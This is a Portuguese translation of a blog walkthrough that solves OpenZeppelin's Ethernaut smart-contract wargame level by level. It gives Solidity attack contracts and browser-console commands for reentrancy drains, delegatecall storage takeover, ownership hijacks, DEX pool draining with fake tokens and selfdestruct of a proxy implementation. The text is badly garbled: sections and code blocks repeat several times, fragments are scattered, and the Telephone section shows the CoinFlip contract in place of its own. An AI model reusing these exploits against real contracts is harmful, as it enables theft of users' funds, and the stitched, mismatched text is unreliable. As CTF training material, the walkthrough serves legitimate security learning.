3 de Dezembro de 2022
O Ethernaut do OpenZeppelin é um ótimo recurso de aprendizagem para o aluno EVM (Ethereum Virtual Machine ou máquina virtual da Ethereum) para obter um pouco do conhecimento crucial - layout de armazenamento, chamada delegada, autodestruição e mais. Aprenda sobre as funcionalidades e, ainda mais importante, as armadilhas de risco potencial na segurança. Vou compartilhar minha experiência e as dicas para quebrar os níveis.
Links úteis (ferramentas)
- Ethernaut: https://ethernaut.openzeppelin.com/
- Remix: https://remix.ethereum.org/
- Codificação ABI: https://abi.hashex.org/
- Explorador de blocos: https://goerli.etherscan.io/
- Conversor Hex-Dec (Hexadecimal-Decimal): https://www.rapidtables.com/convert/number/hex-to-decimal.html
Níveis
Hello Ethernaut (Olá, Ethernaut)
- Este exercício é trivial. Basta seguir a informação(), pegar a senha e chamar a autenticação().
Fallback (Queda)
- Chame
contribute()
com um pequeno valor.
- Envie um pequeno valor para o contrato e o
owner
será alterado (gatilho receive()
).
- Chame
withdraw()
para obter todo o valor.
- Queda: existe um erro de digitação no método
Fal1out()
. Basta chamá-lo e você pode obter o proprietário.
CoinFlip (Cara ou coroa)
- O contrato usa o valor do bloco para determinar o resultado do cara ou coroa.
- Crie outro contrato para acionar o palpite. Dentro da mesma transação, podemos obter o mesmo valor de bloco exato que do método de verificação, para que sempre possamos pré-computar a resposta correta.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SuperGuess {
address public coinFlipAddr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddr) {
coinFlipAddr = _coinFlipAddr;
}
function superGuess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(coinFlipAddr).flip(side);
}
}
Hello Ethernaut (Olá, Ethernaut)
- Este exercício é trivial. Basta seguir a informação(), pegar a senha e chamar a autenticação().
Fallback (Queda)
- Chame
contribute()
com um pequeno valor.
- Envie um pequeno valor para o contrato e o
owner
será alterado (gatilho receive()
).
- Chame
withdraw()
para obter todo o valor.
- Queda: existe um erro de digitação no método
Fal1out()
. Basta chamá-lo e você pode obter o proprietário.
CoinFlip (Cara ou coroa)
- O contrato usa o valor do bloco para determinar o resultado do cara ou coroa.
- Crie outro contrato para acionar o palpite. Dentro da mesma transação, podemos obter o mesmo valor de bloco exato que do método de verificação, para que sempre possamos pré-computar a resposta correta.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SuperGuess {
address public coinFlipAddr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddr) {
coinFlipAddr = _coinFlipAddr;
}
function superGuess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(coinFlipAddr).flip(side);
}
}
- Chame
contribute()
com um pequeno valor. - Envie um pequeno valor para o contrato e o
owner
será alterado (gatilhoreceive()
). - Chame
withdraw()
para obter todo o valor. - Queda: existe um erro de digitação no método
Fal1out()
. Basta chamá-lo e você pode obter o proprietário.
CoinFlip (Cara ou coroa)
- O contrato usa o valor do bloco para determinar o resultado do cara ou coroa.
- Crie outro contrato para acionar o palpite. Dentro da mesma transação, podemos obter o mesmo valor de bloco exato que do método de verificação, para que sempre possamos pré-computar a resposta correta.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SuperGuess {
address public coinFlipAddr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddr) {
coinFlipAddr = _coinFlipAddr;
}
function superGuess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(coinFlipAddr).flip(side);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SuperGuess {
address public coinFlipAddr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddr) {
coinFlipAddr = _coinFlipAddr;
}
function superGuess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(coinFlipAddr).flip(side);
}
}
Telephone (Telefone)
- A chave é compreender o
tx.origin
e o msg.sender
.
- Crie outro contrato para chamar o contrato
Telephone
, o tx.origin
seria seu endereço EOA (Externally Owned Accounts ou contas de propriedade externa) e o msg.sender
seria o contrato de chamada. Assim, o proprietário pode ser alterado.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SuperGuess {
address public coinFlipAddr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddr) {
coinFlipAddr = _coinFlipAddr;
}
function superGuess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(coinFlipAddr).flip(side);
}
}
tx.origin
e o msg.sender
.Telephone
, o tx.origin
seria seu endereço EOA (Externally Owned Accounts ou contas de propriedade externa) e o msg.sender
seria o contrato de chamada. Assim, o proprietário pode ser alterado. // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SuperGuess {
address public coinFlipAddr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddr) {
coinFlipAddr = _coinFlipAddr;
}
function superGuess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(coinFlipAddr).flip(side);
}
}
Token
- Usando o conceito de underflow. Transferir 21 tokens para outro endereço. E seu saldo seria 20-21 e entraria em underflow, tornando-se 2**256-1.
Delegation (Delegação)
- Na chamada delegada, a lógica é emprestada do contrato chamado (
Delegate
) enquanto o armazenamento do contrato chamador. (Delegation
) é referido. Então, só precisamos acionar o fallback()
com o [msg.data](<http://msg.data>)
como pwn
e o proprietário será alterado.
- Para acionar a transação, codifique
pwn
em hexadecimal (dd365b8b
) e envie os dados para o endereço do contrato.
Force (Força)
- Precisamos enviar Ether para um endereço de contrato sem um método de pagamento. Existem duas abordagens.
- Primeiro, autodestruição. Outro contrato se destrói (usando a funcionalidade
selfdestruct
) e envia seu Ether remanescente para o seu contrato.
- Segundo, envie Ether para o contrato antes do contrato existir. Use
CREATE2
para pré-computar o endereço antes que o contrato esteja realmente implantado.
- Tomando a primeira abordagem para implantar um novo contrato com um
payable
e o método selfdestruct
. Envie Ether para dentro. Chame o método selfdestruct
.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ForceSend {
function killMeAndSendEthTo(address force) public {
selfdestruct(payable(force));
}
receive() payable external {}
}
- Na chamada delegada, a lógica é emprestada do contrato chamado (
Delegate
) enquanto o armazenamento do contrato chamador. (Delegation
) é referido. Então, só precisamos acionar ofallback()
com o[msg.data](<http://msg.data>)
comopwn
e o proprietário será alterado. - Para acionar a transação, codifique
pwn
em hexadecimal (dd365b8b
) e envie os dados para o endereço do contrato.
Force (Força)
- Precisamos enviar Ether para um endereço de contrato sem um método de pagamento. Existem duas abordagens.
- Primeiro, autodestruição. Outro contrato se destrói (usando a funcionalidade
selfdestruct
) e envia seu Ether remanescente para o seu contrato.
- Segundo, envie Ether para o contrato antes do contrato existir. Use
CREATE2
para pré-computar o endereço antes que o contrato esteja realmente implantado.
- Tomando a primeira abordagem para implantar um novo contrato com um
payable
e o método selfdestruct
. Envie Ether para dentro. Chame o método selfdestruct
.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ForceSend {
function killMeAndSendEthTo(address force) public {
selfdestruct(payable(force));
}
receive() payable external {}
}
selfdestruct
) e envia seu Ether remanescente para o seu contrato.CREATE2
para pré-computar o endereço antes que o contrato esteja realmente implantado. payable
e o método selfdestruct
. Envie Ether para dentro. Chame o método selfdestruct
.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ForceSend {
function killMeAndSendEthTo(address force) public {
selfdestruct(payable(force));
}
receive() payable external {}
}
Vault (Cofre)
- Embora a variável
password
seja privada, ainda podemos ler a mudança de estado no Etherscan. Captura de tela abaixo.
- Armazenamento 0 é para
bool public locked
, enquanto armazenamento 1 é para bytes32 private password
. Para que possamos saber a senha definida aqui:
password
seja privada, ainda podemos ler a mudança de estado no Etherscan. Captura de tela abaixo. bool public locked
, enquanto armazenamento 1 é para bytes32 private password
. Para que possamos saber a senha definida aqui:
King (Rei)
- Queremos impedir que a próxima pessoa peça o King de volta. A chave é essa linha:
payable(king).transfer(msg.value);
, onde o endereço externo pode assumir o controle e negar a transação.
- A ideia é ter um contrato que sempre reverta ao receber Ether.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CantReceiveKing {
function takeKing(address payable king) public payable {
(bool result, ) = address(king).call{value: msg.value}("");
require(result, "Call has failed.");
}
receive() external payable {
revert();
}
}
payable(king).transfer(msg.value);
, onde o endereço externo pode assumir o controle e negar a transação. // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CantReceiveKing {
function takeKing(address payable king) public payable {
(bool result, ) = address(king).call{value: msg.value}("");
require(result, "Call has failed.");
}
receive() external payable {
revert();
}
}
Re-entrancy (Reentrância)
- Construa um ataque de reentrância chamando o withdraw novamente na função
receive()
.
- Não se esqueça de doar ao endereço do contrato de ataque para que possa ter sucesso no withdraw pela primeira vez.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Renetering {
address public reentranceAddr;
constructor(address payable _reentranceAddr) public {
reentranceAddr = _reentranceAddr;
}
receive() external payable {
Reentrance(payable(reentranceAddr)).withdraw(1000000000000000);
}
function withdraw() public {
payable(msg.sender).transfer(address(this).balance);
}
}
receive()
.// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Renetering {
address public reentranceAddr;
constructor(address payable _reentranceAddr) public {
reentranceAddr = _reentranceAddr;
}
receive() external payable {
Reentrance(payable(reentranceAddr)).withdraw(1000000000000000);
}
function withdraw() public {
payable(msg.sender).transfer(address(this).balance);
}
}
Elevator (Elevador)
- O trecho de código é auto-explicativo.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract myBuilding {
bool top;
function isLastFloor(uint _floor) external returns (bool) {
top = !top;
return !top;
}
function callGoto(address elevatorAddr) public {
Elevator(elevatorAddr).goTo(0);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract myBuilding {
bool top;
function isLastFloor(uint _floor) external returns (bool) {
top = !top;
return !top;
}
function callGoto(address elevatorAddr) public {
Elevator(elevatorAddr).goTo(0);
}
}
Privacy (Privacidade)
- Comparamos o layout de armazenamento e a mudança de estado observada no explorador de blocos. Descobrimos o valor real armazenado em
data[2]
. Pegue os primeiros 16
bytes e essa é a resposta para passar como chave.
- A partir deste exercício, podemos saber que as variáveis
private
não são totalmente opacas. Pistas podem ser encontradas para examinar o valor real.
- Definição de armazenamento do contrato e mudança de estado do contrato para
bytes32[3] private data
:
data[2]
. Pegue os primeiros 16
bytes e essa é a resposta para passar como chave. private
não são totalmente opacas. Pistas podem ser encontradas para examinar o valor real. bytes32[3] private data
:
GateKeeperOne (Porteiro um)
Portão um
_Chame o contrato de outro contrato para passar pelo portão um
Portão dois
_gasleft()
retorna a unidade de gas remanescente no ponto. O melhor jeito de monitorar o gas é usar a ferramenta debug no Remix.
_Ao chamar enter()
com o gas especificado e verificar o valor de retorno através de gasleft()
, podemos saber o gas utilizado desde o início de enter
até a verificação require
no portão dois.
_Experimente primeiro com a VM (Virtual Machine ou máquina virtual) do Remix para que não tenha custo real de gas. Primeiramente, defina aleatoriamente um número (digamos 50000) e verifique o valor na pilha de computação.
_Movimente-se no processo de execução com a barra de rolamento fornecida pelo Remix.
_Atenção ao padrão 0x1fff
(8191 em decimal), o número que vem junto com ele é o valor retornado por gasleft()
. 0xc250
no trecho abaixo, que é 49744 em decimal. Assim podemos saber que o gas utilizado é 50000 - 49744 = 256.
_Para ter gasleft() % 8191 == 0
, basta definir o gas inicial como 256 + 8191*5 = 49402.
_Trecho da ferramenta de debug do Remix:
Portão um
_Chame o contrato de outro contrato para passar pelo portão um
Portão dois
_gasleft()
retorna a unidade de gas remanescente no ponto. O melhor jeito de monitorar o gas é usar a ferramenta debug no Remix.
_Ao chamar enter()
com o gas especificado e verificar o valor de retorno através de gasleft()
, podemos saber o gas utilizado desde o início de enter
até a verificação require
no portão dois.
_Experimente primeiro com a VM (Virtual Machine ou máquina virtual) do Remix para que não tenha custo real de gas. Primeiramente, defina aleatoriamente um número (digamos 50000) e verifique o valor na pilha de computação.
_Movimente-se no processo de execução com a barra de rolamento fornecida pelo Remix.
_Atenção ao padrão 0x1fff
(8191 em decimal), o número que vem junto com ele é o valor retornado por gasleft()
. 0xc250
no trecho abaixo, que é 49744 em decimal. Assim podemos saber que o gas utilizado é 50000 - 49744 = 256.
_Para ter gasleft() % 8191 == 0
, basta definir o gas inicial como 256 + 8191*5 = 49402.
_Trecho da ferramenta de debug do Remix:
Portão três
_bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF
pode passar a transformação de tipo no portão três.
_Entender o conceito de Endianness em Solidity é essencial para compreender como os tipos de dados são convertidos e como utilizar os comandosrequire
.
_Formato Big-Endian (da esquerda para a direita): strings e bytes
_Formato Little-Endian (da direita para a esquerda): outros tipos (números, endereços, etc…)Trecho do código de contrato
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GateBreakerOne {
address gateKeeperAddr;
constructor(address _gateKeeperAddr) {
gateKeeperAddr = _gateKeeperAddr;
}
function breakIn(uint gasAmount) public {
bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
GatekeeperOne(gateKeeperAddr).enter{gas: gasAmount}(gateKey);
}
}
GateKeeperTwo (Porteiro dois)
Portão dois
_extcodesize
verifica o tamanho do bytecode (código em byte) do endereço do contrato. Ele retornará 0 se o endereço de chamada for realmente EOA ou estiver no construtor.
Portão três
_Use a lógica no trecho para passar na verificação
Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GateTwoBreaker {
constructor (address _gate) {
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
GatekeeperTwo(_gate).enter(gateKey);
}
}
Portão dois
_extcodesize
verifica o tamanho do bytecode (código em byte) do endereço do contrato. Ele retornará 0 se o endereço de chamada for realmente EOA ou estiver no construtor.
Portão três
_Use a lógica no trecho para passar na verificação
Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GateTwoBreaker {
constructor (address _gate) {
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
GatekeeperTwo(_gate).enter(gateKey);
}
}
Naught Coin (Moeda zero)
- Apenas
approve
outro endereço com o valor total e chama transferFrom
(não transfer
) com esse endereço.
Preservation (Preservação)
- A chave aqui é entender que
delegatecall
pega emprestada a lógica do contrato chamado. Na lógica emprestada, também implica como as variáveis serão alteradas. Segue o layout do contrato chamado.
- Observe que em
LibraryContract
, a função muda o armazenamento no slot 1 (storedTime
). No contrato Preservation
, que faz a delegateCall
, slot 1 será alterado, que é timeZone1Library
.
- Assim, podemos usar isso e direcionar para
timeZone1Library
outro endereço de contrato, que é o BadLibrary
que construímos. Em BadLibrary
, definimos a mesma assinatura de função "setTime(uint256)"
, mas atualizamos o armazenamento no slot 3 - onde owner
reside no contrato Preservation
.
- Trecho do código do contrato de ataque:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract BadLibrary {
uint public a1;
uint public a2;
uint public owner;
function setTime(uint newOwner) public {
owner = newOwner;
}
}
approve
outro endereço com o valor total e chama transferFrom
(não transfer
) com esse endereço.- A chave aqui é entender que
delegatecall
pega emprestada a lógica do contrato chamado. Na lógica emprestada, também implica como as variáveis serão alteradas. Segue o layout do contrato chamado. - Observe que em
LibraryContract
, a função muda o armazenamento no slot 1 (storedTime
). No contratoPreservation
, que faz adelegateCall
, slot 1 será alterado, que étimeZone1Library
. - Assim, podemos usar isso e direcionar para
timeZone1Library
outro endereço de contrato, que é oBadLibrary
que construímos. EmBadLibrary
, definimos a mesma assinatura de função"setTime(uint256)"
, mas atualizamos o armazenamento no slot 3 - ondeowner
reside no contratoPreservation
. - Trecho do código do contrato de ataque:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract BadLibrary {
uint public a1;
uint public a2;
uint public owner;
function setTime(uint newOwner) public {
owner = newOwner;
}
}
- etapas do ataque
- implantar
BadLibrary
- chamar
setFirstTime(BadLibray_address)
- chamar
setFirstTime(player_address)
Recovery (Recuperação)
- Uma solução fácil é verificar o Etherscan e você pode saber onde o novo contrato está. Chame
destroy
e ele passará.
- Outra abordagem é computar o endereço do contrato usando o endereço do implantador e o Nonce https://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed.
MagicNumber (Número mágico)
- Para passar esse nível, é necessário um conhecimento muito profundo de opcodes (códigos de operação) e implantação de contrato. É recomendado apenas consultar este artigo (observe que o valor no artigo não está correto. Verifique o comentário para corrigir).
- https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2
Alien Codex
O pré-requisito para solucionar este nível é o conhecimento de layout de armazenamento para bytes e matrizes: Layout of State Variables in Storage (Layout de variáveis de estado em armazenamento).
As ideias são as seguintes:
_O contrato herdado Ownable
tem a variável owner
e está armazenada no slot 0. Precisamos encontrar uma maneira de alterar o valor nesse slot usando os métodos no AlienCodex
.
_A variável também bool contact
estará no slot 0 (endereço 20 bytes e bool 1 bit < 32 bytes limites para 1 slot).
_bytes32[] public codex
começa do slot 1, no qual armazena o tamanho da matriz (inicialmente 0).
_Ao chamar retract
, podemos fazê-lo entrar em underflow e torne o tamanho da matriz 2**256 - 1
.
_O primeiro elemento da matriz é armazenado no slot keccak256(1)
(1
em hexadecimal e pad start (início do preenchimento) para o tamanho de 32-bytes). Isso resultará em um grande número aleatório.
_Já que a matriz é tão longa quanto 2**256 -1
, o elemento da matriz vai overflow quando alcançar o último slot. E o próximo slot desta seria o slot onde owner
está armazenado.
_Usando revise
, podemos mudar o valor do slot e, consequentemente, atualizar o owner
para nosso valor desejado.
Trecho da solução:
// comandos para chamar no console do navegador
// para passar o modificador
await contract.make_contact();
// para underflow o tamanho da matriz
await contract.retract();
// computa o slot para o primeiro elemento da matriz
const slot1Byte32 = '0x' + '1'.padStart(64, '0');
const slotFor1stElement = _ethers.utils.keccak256(slot1Byte32); // "0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6"
// computa o índice da matriz para substituir o slot 0
const maxInt = _ethers.BigNumber.from('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
const slotFor1stElementBN = _ethers.BigNumber.from(slotFor1stElement);
const arrayIndexForOverflowedSlot0 = (maxInt.sub(slotFor1stElementBN) + 1);
// define o endereço do proprietário (precisa preencher seu endereço para um tamanho de 32 bytes)
await contract.revise(arrayIndexForOverflowedSlot0, YOUR_ADDRESS_PADDED_TO_BYTES32_LENGTH);
destroy
e ele passará.- Para passar esse nível, é necessário um conhecimento muito profundo de opcodes (códigos de operação) e implantação de contrato. É recomendado apenas consultar este artigo (observe que o valor no artigo não está correto. Verifique o comentário para corrigir).
- https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2
Alien Codex
O pré-requisito para solucionar este nível é o conhecimento de layout de armazenamento para bytes e matrizes: Layout of State Variables in Storage (Layout de variáveis de estado em armazenamento).
As ideias são as seguintes:
_O contrato herdado Ownable
tem a variável owner
e está armazenada no slot 0. Precisamos encontrar uma maneira de alterar o valor nesse slot usando os métodos no AlienCodex
.
_A variável também bool contact
estará no slot 0 (endereço 20 bytes e bool 1 bit < 32 bytes limites para 1 slot).
_bytes32[] public codex
começa do slot 1, no qual armazena o tamanho da matriz (inicialmente 0).
_Ao chamar retract
, podemos fazê-lo entrar em underflow e torne o tamanho da matriz 2**256 - 1
.
_O primeiro elemento da matriz é armazenado no slot keccak256(1)
(1
em hexadecimal e pad start (início do preenchimento) para o tamanho de 32-bytes). Isso resultará em um grande número aleatório.
_Já que a matriz é tão longa quanto 2**256 -1
, o elemento da matriz vai overflow quando alcançar o último slot. E o próximo slot desta seria o slot onde owner
está armazenado.
_Usando revise
, podemos mudar o valor do slot e, consequentemente, atualizar o owner
para nosso valor desejado.
Trecho da solução:
// comandos para chamar no console do navegador
// para passar o modificador
await contract.make_contact();
// para underflow o tamanho da matriz
await contract.retract();
// computa o slot para o primeiro elemento da matriz
const slot1Byte32 = '0x' + '1'.padStart(64, '0');
const slotFor1stElement = _ethers.utils.keccak256(slot1Byte32); // "0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6"
// computa o índice da matriz para substituir o slot 0
const maxInt = _ethers.BigNumber.from('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
const slotFor1stElementBN = _ethers.BigNumber.from(slotFor1stElement);
const arrayIndexForOverflowedSlot0 = (maxInt.sub(slotFor1stElementBN) + 1);
// define o endereço do proprietário (precisa preencher seu endereço para um tamanho de 32 bytes)
await contract.revise(arrayIndexForOverflowedSlot0, YOUR_ADDRESS_PADDED_TO_BYTES32_LENGTH);
O pré-requisito para solucionar este nível é o conhecimento de layout de armazenamento para bytes e matrizes: Layout of State Variables in Storage (Layout de variáveis de estado em armazenamento).
As ideias são as seguintes:
_O contrato herdado Ownable
tem a variável owner
e está armazenada no slot 0. Precisamos encontrar uma maneira de alterar o valor nesse slot usando os métodos no AlienCodex
.
_A variável também bool contact
estará no slot 0 (endereço 20 bytes e bool 1 bit < 32 bytes limites para 1 slot).
_bytes32[] public codex
começa do slot 1, no qual armazena o tamanho da matriz (inicialmente 0).
_Ao chamar retract
, podemos fazê-lo entrar em underflow e torne o tamanho da matriz 2**256 - 1
.
_O primeiro elemento da matriz é armazenado no slot keccak256(1)
(1
em hexadecimal e pad start (início do preenchimento) para o tamanho de 32-bytes). Isso resultará em um grande número aleatório.
_Já que a matriz é tão longa quanto 2**256 -1
, o elemento da matriz vai overflow quando alcançar o último slot. E o próximo slot desta seria o slot onde owner
está armazenado.
_Usando revise
, podemos mudar o valor do slot e, consequentemente, atualizar o owner
para nosso valor desejado.
Trecho da solução:
// comandos para chamar no console do navegador
// para passar o modificador
await contract.make_contact();
// para underflow o tamanho da matriz
await contract.retract();
// computa o slot para o primeiro elemento da matriz
const slot1Byte32 = '0x' + '1'.padStart(64, '0');
const slotFor1stElement = _ethers.utils.keccak256(slot1Byte32); // "0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6"
// computa o índice da matriz para substituir o slot 0
const maxInt = _ethers.BigNumber.from('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
const slotFor1stElementBN = _ethers.BigNumber.from(slotFor1stElement);
const arrayIndexForOverflowedSlot0 = (maxInt.sub(slotFor1stElementBN) + 1);
// define o endereço do proprietário (precisa preencher seu endereço para um tamanho de 32 bytes)
await contract.revise(arrayIndexForOverflowedSlot0, YOUR_ADDRESS_PADDED_TO_BYTES32_LENGTH);
Denial (Negação)
- Este nível utiliza o ataque de reentrância e usa o gas.
- Implanta um contrato que chama recursivamente o método
withdraw
na instância do nível e define o endereço do parceiro para que ele possa resolver esse nível.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialPartner {
address payable public denialAddr;
constructor(address payable _denialAddr) {
denialAddr = _denialAddr;
}
receive() external payable {
Denial(denialAddr).withdraw();
}
}
withdraw
na instância do nível e define o endereço do parceiro para que ele possa resolver esse nível.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialPartner {
address payable public denialAddr;
constructor(address payable _denialAddr) {
denialAddr = _denialAddr;
}
receive() external payable {
Denial(denialAddr).withdraw();
}
}
Shop (Comprar)
- A chave é que a função
view
pode ler a partir do estado. Observe a alteração de estado no isSold
. Podemos controlar o price
retornado condicionado a este valor.
- Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Buyer {
function price() external view returns (uint) {
return Shop(msg.sender).isSold() ? 0 : 100;
}
function buyFromShop(address shopAddr) public {
Shop(shopAddr).buy();
}
}
view
pode ler a partir do estado. Observe a alteração de estado no isSold
. Podemos controlar o price
retornado condicionado a este valor. // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Buyer {
function price() external view returns (uint) {
return Shop(msg.sender).isSold() ? 0 : 100;
}
function buyFromShop(address shopAddr) public {
Shop(shopAddr).buy();
}
}
Dex (Exchange descentralizada)
- Existe falha no cálculo do preço. Apenas continue permutando o token pelo outro e você pode obter mais e mais tokens, finalmente drenando o pool completamente.
- O processo é como se segue. Lembre-se de aprovar o contrato primeiro.
Dex2 (Exchange descentralizada 2)
- A diferença da DEX anterior é que ela não verifica o endereço do token 1 e do token 2 no método
swap
aqui.
- A ideia aqui é implantar outros dois contratos ERC20 falsos e enganar o método
swap
.
swap
aqui.swap
.Etapas da solução:
- Implante um novo contrato ERC20 com fornecimento total 2. O token irá para o implantador (que é você).
- Transfira 1 token para o contrato de DEX, 1 fica para você.
- Aprove o contrato de DEX para este token ERC20.
- Chame
swap
comfrom
como o endereço do token falso,to
como o endereço do token 1 real,amount
como 1. - Observe que
getSwapAmount
retornaria 100, e você pode permutar 1 token falso por todos os tokens 1. - Repita o processo para o token 2.
Puzzle Wallet (Carteira Puzzle)
- A chave é entender que
delegateCall
aplica a lógica no layout do armazenamento do chamador.
- O objetivo final é alterar o
admin
, então apenas precisamos atualizar maxBalance
na função de chamada (mesmo slot).
-
setMaxBalance
seria o que pretendemos chamar. Dois requisitos, um é a whitelist e o outro é que precisamos que o saldo do contrato seja 0.
- Para a whitelist, observe que apenas o
owner
pode addToWhitelist
. Lembre-se de que o proprietário aqui está realmente se referindo ao valor pendingAdmin
. Para que possamos apenas chamar proposeNewAdmin
e tornar o valor no slot 0 o nosso endereço. Então, podemos chamar addToWhitelist
para adicionar a nós mesmos à whitelist.
- O segundo requisito é levemente complicado, precisamos drenar o saldo do contrato. O único lugar em que foi transferido está dentro do
execute
. Leia a lógica, precisamos encontrar uma maneira de fazer nosso saldo no contrato ser maior do que depositamos.
- A chave aqui é utilizar o método
multicall
para acionar o deposit
duas vezes. msg.value
será adicionado duas vezes onde, na verdade, apenas 1 unidade de valor de Ether é pago (0.001 Ether nesse exemplo).Porém, precisamos desviar a verificação depositCalled
na multicall
. O truque é usar uma chamada aninhada para empacotar uma multicall
de depósito dentro de outra multicall
. Desta forma: multicall(deposit, multicall(deposit))
, junto com 0.001 Ether. Depois disso, o saldo do contrato seria 0.
delegateCall
aplica a lógica no layout do armazenamento do chamador. admin
, então apenas precisamos atualizar maxBalance
na função de chamada (mesmo slot). setMaxBalance
seria o que pretendemos chamar. Dois requisitos, um é a whitelist e o outro é que precisamos que o saldo do contrato seja 0. owner
pode addToWhitelist
. Lembre-se de que o proprietário aqui está realmente se referindo ao valor pendingAdmin
. Para que possamos apenas chamar proposeNewAdmin
e tornar o valor no slot 0 o nosso endereço. Então, podemos chamar addToWhitelist
para adicionar a nós mesmos à whitelist. execute
. Leia a lógica, precisamos encontrar uma maneira de fazer nosso saldo no contrato ser maior do que depositamos. multicall
para acionar o deposit
duas vezes. msg.value
será adicionado duas vezes onde, na verdade, apenas 1 unidade de valor de Ether é pago (0.001 Ether nesse exemplo).Porém, precisamos desviar a verificação depositCalled
na multicall
. O truque é usar uma chamada aninhada para empacotar uma multicall
de depósito dentro de outra multicall
. Desta forma: multicall(deposit, multicall(deposit))
, junto com 0.001 Ether. Depois disso, o saldo do contrato seria 0.Etapas da solução:
-
proposeNewAdmin
com nosso próprio endereço para definir o valor do slot 0. - delegateCall
addToWhitelist
com nosso próprio endereço (use o codificador ABI ou as ferramentas de codificação em web 3 e Ethers). - delegateCall
multicall(deposit, multicall(deposit))
(codificação aplicada) para drenar o saldo do contrato para 0. - delegateCall
setMaxBalance
com nosso próprio endereço para definir o valor do slot 1 (que é o endereço doadmin
).
Motorbike (Moto)
- A ideia é definir a implementação do
Engine
para um contrato ruim com selfdestruct
e desativar totalmente o contrato Engine
.
Engine
para um contrato ruim com selfdestruct
e desativar totalmente o contrato Engine
. Etapas da solução:
- Obtenha o endereço do contrato
Engine
do Etherscan ou usandogetStorageAt
com o slot de implementação. - Chame
initialize()
para nos tornar oupgrader
. - Implante um contrato com
selfdestruct
, trecho abaixo.
contract Selfdestructor {
function killMe() public {
selfdestruct(msg.sender);
}
}
- Chame
upgradeToAndCall
com o endereço do contrato implantado e a codificação para a chamadaselfdestruct
.
Fechamento
Obrigado por ler! Espero que você aprenda algo como eu aprendo!
Esse artigo foi escrito por Hung e traduzido por Isabela Curado Nehme. Seu original pode ser lido aqui.
Latest comments (0)